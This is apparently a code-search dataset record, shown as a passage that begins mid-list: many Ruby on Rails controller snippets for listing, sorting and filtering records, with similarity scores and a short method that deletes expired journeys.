@total_expenses_billed\n @grand_total = @grand_total_open + @grand_total_approved + @grand_total_billed\n\t\t\t\telse\n\t\t\t\t\tflash[:error] = t(:flash_end_date_start_date)\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tflash[:error] = t(:flash_enter_date)\n\t\t\tend\n\t\tend\n\t\tparams[:current_tab]=params[:current_tab].nil? ? 'fragment-1' : params[:current_tab]\n\t\t@current_stage=params[:current_tab]\n\t\tadd_breadcrumb \"Internal\", :physical_timeandexpenses_internal_path\n\n #Following code added for Feature #8234 - export to excel in all view pages in T & E\n ##Params are stored in instance variable for the generating link for generating excel report\n\t\t@status = params[:status]\t\t\t\n\t\t@start_date= params[:start_date]\n\t\t@end_date = params[:end_date]\n\t\t@current_tab = params[:current_tab]\n\t\t@row_headers = [\"T/E\",\"Date\",\"Lawyer Designation / Non-User\",\"Time(HH:MM)\",\"Dur(Hrs)\",\"Rate($)\",\"Activity\",\"Description\",\"Billable (Y/N)\",\"Final Bill Amt($)\",\"Status\"]\n\t\t@report_heads = [params[:start_date],params[:end_date]]\n\t\trespond_to do|format|\n\t\t\tformat.html{}\n\t\t\tformat.xls {\n\t\t\t\tsend_data(LiviaExcelReport.generate_xls_for_time_expenses(@saved_time_entries,@saved_expense_entries,@row_headers,@report_heads,\"internal\",@dur_setng_is_one100th),:filename => \"time_expense.xls\", :type => 'application/xls', :disposition => 'inline')\n\t\t\t}\n\t\tend\n\n\tend", "def index\n @admins = Admin.order(:email)\n authorize @admins\n end", "def index\n if current_user.try(:admin?)\n @requests = Request.all\n else\n @requests = Request.find(:all, :conditions => ['requester_email = ? OR approver_email = ?', current_user.email, current_user.email])\n end\n\n end", "def index\n if current_user.admin?\n if params[:search]\n @bg_checks = BgCheck.joins(:individual).order('l_name, f_name').where('f_name LIKE ? OR l_name LIKE ?', \"%#{params[:search]}%\", \"%#{params[:search]}%\")\n elsif params[:filter]\n if params[:filter]==\"all\"\n @bg_checks = BgCheck.joins(:individual).alphabetical\n elsif params[:filter]==\"submitted\"\n @bg_checks = BgCheck.joins(:individual).submitted.alphabetical\n elsif params[:filter]==\"in_progress\"\n @bg_checks = BgCheck.joins(:individual).in_progress.alphabetical\n elsif params[:filter]==\"complete\"\n @bg_checks = BgCheck.joins(:individual).complete.alphabetical\n elsif params[:filter]==\"expiring\"\n @bg_checks = BgCheck.joins(:individual).expiring.alphabetical\n elsif params[:filter]==\"expired\"\n @bg_checks = BgCheck.joins(:individual).expired.alphabetical\n elsif params[:filter]==\"has_issues\"\n @bg_checks = BgCheck.joins(:individual).has_issues.alphabetical\n elsif params[:filter]==\"urgency\"\n @bg_checks = BgCheck.order_by_urgency @bg_checks\n elsif params[:filter]==\"not_cleared\"\n @bg_checks = BgCheck.joins(:individual).not_cleared.alphabetical\n end\n else\n @bg_checks = BgCheck.joins(:individual).incomplete.alphabetical\n end\n else\n redirect_to current_user.individual.bg_check\n end\n end", "def acct_list usr, aFlg\n if usr.is_admin? && aFlg \n User.joins(:bank_accounts).include_list.where('bank_accounts.status = ?', 'active').uniq.reorder('first_name ASC') \n else\n BankAccount.inc_list.where(user_id: usr, status: 'active')\n end\n end", "def sort_email_address\n \"-#{self.email_address}\"\n end", "def index\n @cnt = User.count\n if ['name', 'last_name', 'age', 'email'].include?(params[:order])\n @users = User.order(params[:order])\n else\n @users = User.order(:name)\n end\n end", "def index\n if params[:commit] == '검색'\n if !params[:search].blank?\n @admin_users = User.search_by_category(params[:search], params[:category])\n elsif !(params[:start_date].blank? && params[:end_date].blank?)\n @admin_users = User.where('created_at > ? AND created_at <= ?', params[:start_date], params[:end_date])\n elsif !params[:step].blank?\n # case params[:step]\n # when \"1\"\n # @admin_contracts = Contract.with_hospital\n # when \"2\"\n # @admin_contracts = Contract.with_studio\n # end\n\n else\n @admin_users = User.all\n end\n\n else\n @admin_users = User.all\n end\n end", "def index\n @status = pendiente_finalizado_params\n @orders = Order.where(status: @status).order(updated_at: :desc)\n @orders = @orders.paginate( :per_page => 10, :page => params[:page])\n end", "def list\n if params[:status] == 'open'\n render :json => ExpaPerson.list_open(params[:lc].to_i).epi(params[:epi]).ops(params[:ops]).to_timeline(params[:page].to_i)\n elsif params[:status] == 'applied'\n render :json => ExpaPerson.list_applied(params[:lc].to_i).epi(params[:epi]).ops(params[:ops]).to_timeline(params[:page].to_i)\n elsif params[:status] == 'accepted'\n render :json => ExpaPerson.list_approved(params[:lc].to_i).epi(params[:epi]).ops(params[:ops]).to_timeline(params[:page].to_i)\n elsif params[:status] == 'realizing'\n render :json => ExpaPerson.list_realized(params[:lc].to_i).epi(params[:epi]).ops(params[:ops]).to_timeline(params[:page].to_i)\n elsif params[:status] == 'completed'\n render :json => ExpaPerson.list_completed(params[:lc].to_i).epi(params[:epi]).ops(params[:ops]).to_timeline(params[:page].to_i)\n else\n render :json => ExpaPerson.listing(params[:lc].to_i).epi(params[:epi]).ops(params[:ops]).to_timeline(params[:page].to_i)\n end\n end", "def test_sort_email_by_family_member\n results = Task.sortByName(\"Bob\", \"Bob\", \"Mary\", \"Joe\", \"Lisa\", \"fakeemail1@gmail.com\", \"fakeemail2@gmail.com\", \"fakeemail3@gmail.com\", \"fakeemail4@gmail.com\")\n assert_equal(\"fakeemail1@gmail.com\", results)\n end", "def statuses; end", "def orders\n Order.where(:email => self.email)\n end", "def index\n # Find all unarchived orders for the store which are ready for showing in admin (i.e. have gone to checkout)\n @orders = Breeze::Commerce::Order.unarchived.includes(:line_items).find_all{ |o| o.show_in_admin? }\n # # @filters = Breeze::Commerce::Order::FILTERS\n # # if params[:show] && @filters.collect{|f| f[:scope]}.include?(params[:show])\n # # @orders = @orders.send(params[:show])\n # # end \n @orders = @orders.to_a.sort_by{ |o| params[:sort] ? o.send(params[:sort]) : - o.created_at.to_i }.paginate(:page => params[:page], :per_page => 15)\n\n @billing_statuses = Breeze::Commerce::OrderStatus.billing.order_by(:sort_order.asc) # DRY up this repeated code\n @shipping_statuses = Breeze::Commerce::OrderStatus.shipping.order_by(:sort_order.asc)\n end", "def index\n @tasks = current_user.tasks.order(sort_column + ' ' + sort_direction).where(completed: nil) \n\n @tasks_completed = current_user.tasks.order(sort_column + ' ' + sort_direction).where(completed: true)\n end", "def index\n @state = params[:status].present? ? params[:status] : \"active\"\n if stale?([@space, @state, flash])\n @members = @space.members.by_status(@state).order(\"name asc\")\n end\n end", "def index\n if (current_user.department==\"IT\")\n @requests=Request.where(status:\"approved\")\n elsif(current_user.ismanager)\n @requests=Request.where(department: current_user.department)\n else\n @requests = current_user.requests\n end\n end", "def post_data\n message=\"\"\n email_params = { :email => paramsp[:email], :last_name => params[:last_name],:first_name => params[:first_name],:id => params[:id],:updated_at => params[:updated_at] }\n case params[:oper]\n when 'add'\n if params[\"id\"] == \"_empty\"\n email = Email.create(email_params)\n message << ('add ok') if email.errors.empty?\n end\n \n when 'edit'\n #email = Email.find(params[:id])\n email = Subscriber.find(params[:id])\n message << ('update ok') if email.update_attributes(email_params)\n when 'del'\n Email.destroy_all(:id => params[:id].split(\",\"))\n message << ('del ok')\n when 'sort'\n # emails = Email.all\n email = Subscriber.all\n emails.each do |email|\n email.position = params['ids'].index(email.id.to_s) + 1 if params['ids'].index(email.id.to_s) \n email.save\n end\n message << \"sort ak\"\n else\n message << ('unknown action')\n end\n \n unless (email && email.errors).blank? \n email.errors.entries.each do |error|\n message << \"<strong>#{Email.human_attribute_name(error[0])}</strong> : #{error[1]}<br/>\"\n end\n render :json =>[false,message]\n else\n render :json => [true,message] \n end\n end", "def index\n @emails = Email.not_archived.order('updated_at DESC').all\n end", "def list_by_status(status)\n\tProject.where('client_id = ? AND status = ?',self.id,status) \n\tend", "def index\n if signed_in? && current_user.role_id == 2\n\n # Search Results\n if params[:search]\n search_query = params[:search]\n #@employees = all_employees.search(params[:search]).sort { |a,b| a.employee_lname <=> b.employee_lname }\n @employees = all_employees.search(params[:search]).sort { |a,b|\n [a.employee_status_id, a.employee_lname ]<=>\n [b.employee_status_id, b.employee_lname]\n }.paginate(:page => params[:page], :per_page => 15)\n else\n @employees = all_employees.sort { |a,b|\n [a.employee_status_id, a.employee_lname ]<=>\n [b.employee_status_id, b.employee_lname]\n }.paginate(:page => params[:page], :per_page => 15)\n end\n else\n restricted_access\n end\n\n\n end", "def index\n pagination = {}\n query = {}\n\n search_term = params[:search_term] || ''\n sortfield = params[:sortfield] || 'created_at'\n sortdir = params[:sortdir] || 'DESC'\n\n user = params[:user]\n\n is_archived_str = params[:is_archived] || ''\n apply_archive_filter = false\n if is_archived_str.downcase.eql?('true') || is_archived_str.eql?('1')\n is_archived = true\n apply_archive_filter = true\n elsif is_archived_str.downcase.eql?('false') || is_archived_str.eql?('0')\n is_archived = false\n apply_archive_filter = true\n end\n\n to_be_invoiced_str = params[:to_be_invoiced] || ''\n apply_to_be_invoiced_filter = false\n if to_be_invoiced_str.downcase.eql?('true') || to_be_invoiced_str.eql?('1')\n to_be_invoiced = true\n apply_to_be_invoiced_filter = true\n elsif to_be_invoiced_str.downcase.eql?('false') || to_be_invoiced_str.eql?('0')\n to_be_invoiced = false\n apply_to_be_invoiced_filter = true\n end\n\n\n current_location = params[:currentLocation] || ''\n current_location = '' if current_location.downcase.eql?('null')\n current_location = '' if current_location.eql?('0')\n current_location = '' if current_location.downcase.eql?('all')\n\n order_type = params[:mediaType] || ''\n order_type = '' if order_type.downcase.eql?('null')\n order_type = '' if order_type.eql?('0')\n order_type = '' if order_type.downcase.eql?('all')\n\n\n # Set status group to all if parameter is missing\n status_group = params[:status_group] || 'all'\n status_group = 'all' if status_group.eql?('0')\n status_group = 'all' if status_group.eql?('null')\n status_group_obj = StatusGroup.find_by_label(status_group)\n status_group_obj ? apply_status_group_filter = true : apply_status_group_filter = false\n\n\n delivery_source = params[:delivery_source] || ''\n delivery_source_obj = DeliverySource.find_by_label(delivery_source)\n delivery_source_obj ? apply_delivery_source_filter = true : apply_delivery_source_filter = false\n\n @orders = Order.paginate(page: params[:page])\n if @orders.current_page > @orders.total_pages\n @orders = Order.paginate(page: 1)\n end\n\n if apply_archive_filter\n @orders = @orders.where(is_archived: is_archived)\n end\n\n if apply_to_be_invoiced_filter\n @orders = @orders.where(to_be_invoiced: to_be_invoiced)\n end\n\n if apply_delivery_source_filter\n @orders = @orders.where(delivery_source_id: delivery_source_obj[:id])\n end\n\n if apply_status_group_filter\n @orders = @orders.where(status_id: status_group_obj.statuses.map(&:id))\n end\n\n @orders = @orders.where(location_id: current_location) if current_location.present?\n @orders = @orders.where(user_id: user) if user.present?\n @orders = @orders.where(order_type_id: order_type) if order_type.present?\n\n\n if search_term.present?\n st = search_term.downcase\n #the_user = User.where(\"id = ?\", st[/^\\d+$/] ? search_term.to_i : nil)\n user_xkonto_hit = User.where(\"(xkonto = ?)\", st)\n user_name_hit = User.where(\"(lower(name) LIKE ?)\", \"%#{st}%\")\n\n note_hits = Order.joins(:notes).where(\n \"(lower(notes.message) LIKE ?)\n OR (lower(notes.subject) LIKE ?)\",\n \"%#{st}%\",\n \"%#{st}%\").to_a\n note_hit_ids = Array.new()\n note_hits.to_a.each do |hit|\n note_hit_ids << hit[:id]\n end\n logger.debug \"note_hit_ids: #{note_hit_ids}\"\n\n @orders = @orders.where(\n \"(lower(name) LIKE ?)\n OR (lower(title) LIKE ?)\n OR (lower(authors) LIKE ?)\n OR (lower(publication_year) LIKE ?)\n OR (lower(journal_title) LIKE ?)\n OR (lower(issn_isbn) LIKE ?)\n OR (lower(reference_information) LIKE ?)\n OR (lower(library_card_number) = ?)\n OR (lower(order_number) LIKE ?)\n OR (lower(comments) LIKE ?)\n OR (lower(libris_lf_number) = ?)\n OR (libris_request_id = ?)\n OR (lower(librisid) = ?)\n OR (lower(librismisc) LIKE ?)\n OR (user_id = ?)\n OR (user_id IN (?))\n OR (id IN (?))\",\n \"%#{st}%\",\n \"%#{st}%\",\n \"%#{st}%\",\n \"%#{st}%\",\n \"%#{st}%\",\n \"%#{st}%\",\n \"%#{st}%\",\n st,\n \"%#{st}%\",\n \"%#{st}%\",\n st,\n st[/^\\d+$/] ? search_term.to_i : nil,\n st,\n \"%#{st}%\",\n user_xkonto_hit,\n user_name_hit,\n note_hit_ids\n )\n end\n\n logger.info \"OrdersController#index: current_location = #{current_location}\"\n logger.info \"OrdersController#index: sortfield == #{sortfield}\"\n logger.info \"OrdersController#index: sortdir == #{sortdir}\"\n\n @orders = @orders.order(sortfield)\n @orders = @orders.reverse_order if sortdir.upcase == 'DESC'\n\n pagination[:pages] = @orders.total_pages\n pagination[:page] = @orders.current_page\n pagination[:next] = @orders.next_page\n pagination[:previous] = @orders.previous_page\n\n query[:total] = @orders.total_entries\n\n logger.info @orders.to_sql\n logger.info \"OrdersController#index: Now rendering orders...\"\n render json: {orders: @orders, meta: {pagination: pagination, query: query}}, status: 200\n end", "def index\n #binding.pry\n \n if params[:sort_expired_at]\n #@tasks = Task.all.order(expired_at: :desc)\n @tasks = current_user.tasks.page(params[:page]).per(PER).order(expired_at: :desc)\n elsif params[:sort_priority]\n #@tasks = Task.all.order(priority: :desc)\n @tasks = current_user.tasks.page(params[:page]).per(PER).order(priority: :desc)\n\n elsif params[:tag_id]\n if params[:tag_id] != \"\"\n #@tasks = current_user.tasks.page(params[:page]).per(PER).order(id: :desc)\n @tasks = Tag.find(params[:tag_id]).tasks.page(params[:page]).per(PER) \n else\n #@tasks = Tag.find(params[:tag_id]).tasks.page(params[:page]).per(PER) \n @tasks = current_user.tasks.page(params[:page]).per(PER).order(id: :desc)\n end\n \n #@tasks = Tag.find(params[:tag_id]).tasks\n\n elsif params[:status_search] == \"\" && params[:title_search] == \"\"\n #@tasks = Task.all.order(id: :desc)\n @tasks = current_user.tasks.page(params[:page]).per(PER).order(id: :desc)\n\n elsif params[:status_search] && params[:title_search] == \"\"\n #@tasks = Task.status_search(params[:status_search]) #default\n #@tasks = Task.where(status: params[:status_search]) #scope\n @tasks = current_user.tasks.page.status_search(params[:status_search]).per(PER) #kaminari\n \n\n elsif params[:title_search] && params[:status_search] == \"\"\n #@tasks = Task.where('title LIKE ?', \"%#{params[:title_search]}%\") #default\n #@tasks = Task.title_search(params[:title_search]) #※scope\n @tasks = current_user.tasks.page.title_search(params[:title_search]).per(PER) #kaminari\n \n elsif params[:title_search] && params[:status_search]\n #@tasks = Task.status_search(params[:status_search]).title_search(params[:title_search]) #scope\n #@tasks = Task.where('title LIKE ?', \"%#{params[:title_search]}%\").where(status: params[:status_search]) #default\n @tasks = current_user.tasks.page.status_search(params[:status_search]).title_search(params[:title_search]).per(PER)\n \n else\n @tasks = current_user.tasks.page(params[:page]).per(PER).order(id: :desc)\n #@tasks = Task.page(params[:page]).per(PER).order(id: :desc) #全てのユーザーのtask見れる\n #@tasks = Task.all.order(id: :desc)\n end\n end", "def email_list\n end", "def index\n @mailings = Mailing.order(sort_column + \" \" + sort_direction)\n end", "def layout_order_report_status order_status\n if order_status.eql? Settings.order.desc\n order_type = Settings.order.asc\n icon = Settings.icon.sort_up\n else\n order_type = Settings.order.desc\n icon = Settings.icon.sort_down\n end\n tags = html_escape(\"\")\n link_to manager_reports_path(page: params[:page],\n date: params[:date],\n name: params[:name],\n email: params[:email],\n status: params[:status],\n order_status: order_type,\n order_created: params[:order_created]),\n class: \"sort-report-link\" do\n tags << content_tag(:span, t(\".status\"))\n tags << content_tag(:i, \"\", class: \"fas fa-sort-#{icon}\")\n end\n end", "def orderStatusEdit()\n if(!authenticateAdmin(params[:admin_id], params[:admin_auth_key]))\n render json: {status: false, reason: \"Authentication Failed\", data: \"\"}\n return\n end\n o = Order.find(params[:id])\n status = o.update(order_status: params[:status])\n render json: {status: status, data: \"\", reason: ''}\n end", "def admin_index\n @sort = params[:sort].blank? ? User::DEFAULT_SORT : params[:sort]\n @lower = params[:lower].blank? ? nil : params[:lower]#Lower alphabetical starting point\n @upper = params[:upper].blank? ? nil : params[:upper]#Upper alphabetical starting point\n @users = User.list(@sort, @lower, @upper).paginate :page=>params[:page]\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end", "def index\n if params[:search]\n @emails = Email.search(params[:search])\n else \n @emails = Email.all.order('created_at DESC')\n end\n end", "def show\n #@records = StudentsRecord.where(student: @student).order(params[:started_on])\n @records = StudentsRecord.where(student: @student).order(:status, started_on: :desc)\n end", "def index\n\n \tparams[:dir] == \"asc\" ? dir = \"ASC\" : dir = \"DESC\"\n\n case params[:sort]\n when 'name'\n @users = User.includes(:member).order(\"members.last_name #{dir}\").all\n when 'cx'\n @users = User.order(\"sign_in_count #{dir}\").all\n else\n @users = User.order(\"last_sign_in_at #{dir}\").all\n end\n end", "def sort_status(field)\n @sort == field ? 'active' : 'inactive'\n end", "def index\n authorize! :read, Lovedone\n\n if current_user.admin?\n @lovedones_all = Lovedone.all\n # @primarycontacts = PrimaryContact.all\n @following_followers = Follower.where(\"request_status LIKE 'approved'\" ) \n @invited_followers = Follower.where(\"request_status LIKE 'invited'\" ) \n else\n @lovedones_all = Lovedone.all\n @lovedones = current_user.company.lovedones\n\n @following_followers = Follower.where(\"user_id = ? AND request_status LIKE 'approved'\" , current_user.id)\n @invited_followers = Follower.where(\"user_id = ? AND request_status LIKE 'invited'\" , current_user.id) \n end\n end", "def index\n @tasks = current_company.tasks.all.page(params[:page]).per(20).search(params[:search]).reverse_order if params[:sort] == nil && params[:uesr_id] == nil\n @tasks = current_company.tasks.order(params[:sort]).page(params[:page]).per(20) if params[:sort] != nil\n @tasks = current_company.tasks.where(user_id: params[:user_id]).reverse_order.page(params[:page]).per(20) if params[:user_id] != nil\n end", "def status\n # ensure status is boolean\n status = (params[:status] == 1 || params[:status] == true) ? true : false\n\n changed = Supervise.find_by(vm_id: params[:vm_id], techno_id: params[:techno_id]).change_status(status)\n if changed == 1\n SuperviseMailer.supervise_email(@user, Vm.find(params[:vm_id]), Techno.find(params[:techno_id]), status).deliver\n end\n\n render nothing: true\n end", "def index\n @users = User.where(params[:sort] + \" <> ''\").order(params[:sort] + \" \" + params[:direction]).page params[:page]\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users, :except => [:email] }\n end\n end", "def index\n @orders = Order.order(\"id DESC\").page(params[:page])\n\n if params[:user_id]\n @orders = @orders.where(:user_id => params[:user_id])\n end\n\n if Rails.configuration.orders_status.select{|k, v| v[:real]}.keys.include? params[:status]\n @orders = @orders.where(:status => params[:status])\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end", "def index\n # search only for users with active state.\n params[:sort] ||= :date #default\n @sort = params[:sort].to_sym\n conditions = case @sort\n when :alpha\n {:order=>\"login\"}\n when :posts\n {:order=>\"water_points_count DESC, created_at DESC\"}\n when :score\n {:order=>\"up_scores DESC, created_at DESC\"} #number of \"up\" votes received for all water points posted\n when :date\n {:order=>\"created_at DESC\"} #most recent\n end\n conditions[:include] = :avatar \n conditions[:page] = params[:page] || 1\n conditions[:per_page] = 6\n @conditions = conditions\n @users = User.normal.active.paginate(conditions)\n\n respond_to do |format|\n format.html # index.html.erb\n format.iphone\n format.xml { render :xml => @users }\n end\n end", "def index\n @status_unassigned = Status.find_by_name(\"Unassigned\") \n @unassigned = checkList(@status_unassigned) \n\n @status_implementing = Status.find_by_name(\"Implementing\")\n @implementing = checkList(@status_implementing)\n \n @status_testing = Status.find_by_name(\"Testing\")\n @testing = checkList(@status_testing)\n \n @status_completed = Status.find_by_name(\"Completed\")\n @completed = checkList(@status_completed)\n \n @status_pending = Status.find_by_name(\"Pending\")\n @pending = checkList(@status_pending)\n \n \n @user_id = session[:user_id]\n\n respond_to do |format|\n format.html # index.html.erb\n #format.json { render json: @tasks }\n end\n end", "def index\n ##@user = User.find_by_username(params[:user_id])\n \n @todos = Todo.where(user_id: current_user.id, closed: false )\n \n order = params[:order] || 'duedate'\n \n @todos = case order\n when 'created' then @todos.sort_by{ |t| t.created }\n when 'priority' then @todos.sort_by{ |t| t.priority }\n when 'duedate' then @todos.sort_by{ |t| t.duedate }\n end\n end", "def sort_users\n if params[:sort].present?\n params[:sort].split(\",\").each {|sort_according_to| add_sorting_for(sort_according_to)}\n end \n end", "def index\n params['filters'] ||= 'volunteers'\n @users = case params['filters']\n when 'all'\n User.all.order(created_at: :asc)\n when 'team'\n User.where(admin: true).order(created_at: :asc)\n when 'volunteers'\n User.where(active: true, admin: nil, organization_id: nil).order(created_at: :asc)\n when 'org'\n User.where(active: true).where.not(organization_id: nil).order(created_at: :asc)\n when 'inactive'\n User.where(active: false).order(created_at: :asc)\n end\n authorize @users\n end", "def index\n\n if current_user.status==User.STATUS_SHOPPER\n @orders=current_user.orders.order(\"created_at DESC\").all\n else\n @orders=Order.order(\"created_at DESC\").all\n end\n\n end", "def param_validate type\n error_message = nil \n params[:sort_order] ||= 'asc'\n \n in_statement = [@master_node]\n # List of parameters acceptable to the API and their respective database column names\n allowed_parameters = ALLOWED_PARAMS[type]['incoming'] \n\n unless (params[:criteria].keys-allowed_parameters.keys).empty?\n error_message = \"Unrecognized parameter(s): [#{(params[:criteria].keys-allowed_parameters.keys).join\",\"}]\"\n end\n \n if params[:criteria].has_key? 'external_id'\n params[:criteria][:external_id] = ext_id params[:criteria][:external_id]\n end\n\n\t\tif params[:criteria].has_key? 'assign_to'\n\t\t\temail = params[:criteria].delete :assign_to\n\t\t\tuser = User.find_by_username(email)\n\t\t\tif User.nil?\n\t\t\t\terror_message = \"Could not find user with email #{email}.\"\n\t\t\telse\n\t\t\t\tparams[:criteria][:assign_to] = user.id\n\t\t\tend\n\t\tend\n\n if params[:criteria].has_key? 'group_id'\n unless [\"14\", \"15\", \"16\", \"17\", \"19\", \"20\", \"21\"].include? params[:criteria][:group_id].to_s\n error_message = \"Invalid group_id. Please see https://api.logmycalls.com/docs for documentation.\"\n end\n end\n \n if params[:criteria].has_key? 'ouid'\n if (not @ous.include? params[:criteria][:ouid]) && (params[:criteria][:ouid].to_s != @master_node.to_s)\n error_message = \"You are not authorized to access group with ouid #{params[:criteria][:ouid]}. #{@ous}\"\n end \n else\n \t#why is there an else? \n end\n \n # Accept a dry_run parameter to roll back any changes made to the databse. \n # This allows safe testing of the API with real data\n unless params[:dry_run].blank?\n if params[:dry_run] == 'true'\n @dry_run = true\n else\n @dry_run = false\n end\n end\n \n #ensure \n if params[:sort_by].blank?\n \tparams[:sort_by] = 'id'\n else\n \tparams[:sort_by] = allowed_parameters[params[:sort_by]]\n\t\t\tif params[:sort_by].blank?\n\t\t\t\terror_message = \"Invalid sort parameter.\"\n\t\t\tend\n end\n \n @ous.each { |k| in_statement << k.to_s }\n # Remap parameters to database column names\n criteria = Hash[params[:criteria].map { |k, v| [allowed_parameters[k], v] }]\n\n { :allowed_parameters => allowed_parameters, :criteria => criteria, :error_message => error_message, :auth_ous => in_statement }\n \n end", "def index\n @contacts = current_user.contacts.order(:email_address)\n end", "def cmd_list_by_status argv\n setup argv\n status = @hash['status']\n response = @api.list_by_status(status)\n if response.is_a?(Array)\n response.each do | r |\n msg r\n end\n else\n msg response\n end\n end", "def index\n brokers = Broker.order(\"tel is null desc \").order(\"email is null desc\").order(listing_num: :desc)\n if params[:sort].blank?\n @brokers = brokers.order(:name).page(params[:page]).per 20\n else\n @brokers = brokers.order(\"#{sort_column} #{sort_direction}\").page(params[:page]).per 20\n end\n if params[:state].present?\n @brokers = @brokers.where(state: params[:state])\n end\n @brokers = @brokers.where(\"name like ?\", \"%#{params[:name]}%\") unless params[:name].blank?\n @brokers = @brokers.where(\"tel like ?\", \"%#{params[:tel]}%\") unless params[:tel].blank?\n @brokers = @brokers.where(\"email like ?\", \"%#{params[:email]}%\") unless params[:email].blank?\n end", "def index\n @users = User.all.includes(:role).order(:email)\n end", "def index\n @emails = (Email.where(supplier_id: current_user.id) + Email.where(consumer_id: current_user.id)).uniq.sort_by(&:created_at)\n end", "def index\n @contacts = Contact.where(active_status: true, del_status: false)\n end", "def index\n @sort_column = sort_column\n @requests = apply_scopes(Request).all\n\n if current_user.try(:admin?) || current_user.approver? || current_user.worker?\n # show all requests\n @requests = @requests.order(sort_column + \" \" + sort_direction)\n else\n # show only requests for this user\n @requests = @requests.where(\"email = ?\", current_user.email).order(sort_column + \" \" + sort_direction)\n end\n # pagination\n @requests = @requests.paginate(:page => params[:page], :per_page => 10)\n\n @issues = Issue.all\n end", "def status\n \"approved\"\n end", "def busca_por_status(status)\n uri = \"#{ENV['BASE_URI']}/pet/findByStatus?status=#{status}\"\n \n without_authentication('get', uri)\n end", "def index\n if current_user.is_admin?\n status = params[:status] ? params[:status] : 'pending'\n @leaves = Leave.where(status: status).paginate(:page => params[:page])\n elsif current_user.is_manager?\n status = params[:status] ? params[:status] : 'pending'\n @leaves = Leave.all_leaves(current_user, status).paginate(:page => params[:page])\n end\n end", "def index\n @enrollments = Enrollment.search(params[:tipo], params[:pesquisa], params[:status])\n end" ]
[ "0.62934554", "0.6282426", "0.62715137", "0.6218373", "0.6168136", "0.610882", "0.604954", "0.5983899", "0.5975776", "0.59377813", "0.59319884", "0.59175384", "0.5917514", "0.5866627", "0.58661854", "0.5851015", "0.58489263", "0.5835242", "0.5832687", "0.5830484", "0.5799615", "0.5785597", "0.5778502", "0.5766999", "0.5751057", "0.5738895", "0.57119596", "0.57065374", "0.5696172", "0.56890655", "0.568311", "0.56706285", "0.5637812", "0.5636528", "0.56306976", "0.5622311", "0.56209224", "0.56159574", "0.5613943", "0.5608301", "0.5578142", "0.5577978", "0.5569122", "0.5568215", "0.5544546", "0.5532614", "0.5522366", "0.55198646", "0.55137956", "0.5511985", "0.5505429", "0.55009097", "0.54985446", "0.5490263", "0.54766506", "0.5471365", "0.54639107", "0.5462611", "0.54615915", "0.5458336", "0.54532886", "0.5441838", "0.54352087", "0.54325795", "0.5431912", "0.5429367", "0.5419755", "0.5409124", "0.54057", "0.53963184", "0.53737783", "0.5364509", "0.5357259", "0.5348369", "0.53419155", "0.5340861", "0.53375727", "0.53360385", "0.53352606", "0.53350234", "0.53347474", "0.53341126", "0.53336614", "0.53333396", "0.5321374", "0.5294803", "0.52900815", "0.52788967", "0.52728075", "0.52725136", "0.52702457", "0.5268452", "0.5263951", "0.526213", "0.52610743", "0.5260009", "0.5257847", "0.5256485", "0.52547085", "0.52529377" ]
0.55102336
50
before_action === before_filter (latter is not yet deprecated) Note: It seems Devise handles controller stuff too, so for the moment we don't need to put anything here. Additional methods should work, but stuff like new users and signing in is already handled by devise.
def journeys journeys = Journey.where('owner = ? AND hidden IS NULL', current_user.id) journeys.each do |j| date = j.date year = Integer("20" + date[4,2]) mon = date[2,2] day = date[0,2] #fix cases like 02 = 2nd if mon[0] == "0" mon = mon[1,1] end if day[0] == "0" day = day[1,1] end mon = Integer(mon) day = Integer(day) formated_date = DateTime.new(year, mon, day).to_date if formated_date < Time.now.to_date j.delete end end @journeys = journeys.order("created_at DESC") end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def before_filter; end", "def signed_in_user_filter\n if signed_in?\n redirect_to root_path, notice: \"Already logged in\"\n end\n end", "def before_request\n self.login if require_login? && !@authenticating\n end", "def before_action \n end", "def before_filter\n if current_user\n true\n end\n end", "def login_filter\n\t\tif not protect?( action_name )\n\t\t\treturn true \n\t\tend\n\n\t\tif not session[:user_id]\n\t\t\t# user isn't logged in\n\t\t\tstore_location\n\t\t\tredirect_to :controller=>\"account\", :action=>\"login\"\n\t\t\treturn false\n\t\tend\n\n\t\t# initialize the @user variable\n\t\t@user = User.find( session[:user_id] )\n\t\t\n\t\tif not @user.validated?\n\t\t\t# user is logged in, but they haven't been validated\n\t\t\tredirect_to :controller=>\"account\", :action=>\"not_activated\"\n\t\t\treturn false\n\t\telsif not authorized?( @user, action_name )\n\t\t\t# user is logged in and validated, but not authorized\n\t\t\tredirect_to :controller=>\"account\", :action =>\"denied\"\n\t\t\treturn false\n\t\telse\n\t\t\t# user is logged in AND validated AND authorized! let 'em in!\n\t\t\treturn true\t\n\t\tend\n\n\t\t# we shouldn't get here\n\t\traise \"Serious malfunction in 'login_filter' -- please contact manufacturer (cgahan@ideeinc.com)...\"\n\tend", "def before_request\n end", "def before_dispatch(env); end", "def before_filter(&block)\n @before_filter = block\n end", "def reset_filter!\n skip_before_action(:filter_access_filter) if method_defined?(:filter_access_filter)\n before_action :filter_access_filter\n end", "def run_filters\n set_user\n authorize\n end", "def login_required\n # Skip this filter if the requested action is not protected\n return true unless protect?(action_name)\n\n # Check if user is logged in and authorized\n return true if logged_in? and authorized?(current_user)\n\n # Store current location so that we can redirect back after login\n store_location\n\n # Call access_denied for an appropriate redirect and stop the filter\n # chain here\n access_denied and return false\n end", "def before(handler = nil, *guards, &block)\n client.register_filter :before, handler, *guards, &block\n end", "def authorize\n redirect_to :login unless user_signed_in?\n end", "def before method_or_filter, options={}, &block\n _add_filter(:before, method_or_filter, options, block)\n end", "def devise_controller?; end", "def before_filter(&block)\n @before_filter = block\n end", "def before(*args, &block)\n add_filter :before, &(args.empty? ? block : construct_filter(*args, &block))\n end", "def signed_in_user\n # Listing 9.18: Adding store_location to the signed-in user before filter.\n unless signed_in?\n store_location\n redirect_to signin_url, notice: \"Please sign in.\"\n end\n end", "def before_dispatch(_env)\n end", "def before_each(req)\n if dealership(req).nil? then not_found\n elsif !authenticated?(req) then unauthenticated\n elsif !authorized?(role(req), session_user(req)) then unauthorized\n else super\n end\n end", "def authorize\n redirect_to \"/log_in\", :alert => t('.need_to_be_logged_in') unless signed_in?\n end", "def first_login\n if params[:controller] != 'registrations' &&\n params[:controller] != 'devise/sessions' &&\n user_signed_in? &&\n !current_user.activated\n\n return redirect_to edit_user_registration_path\n end\n end", "def 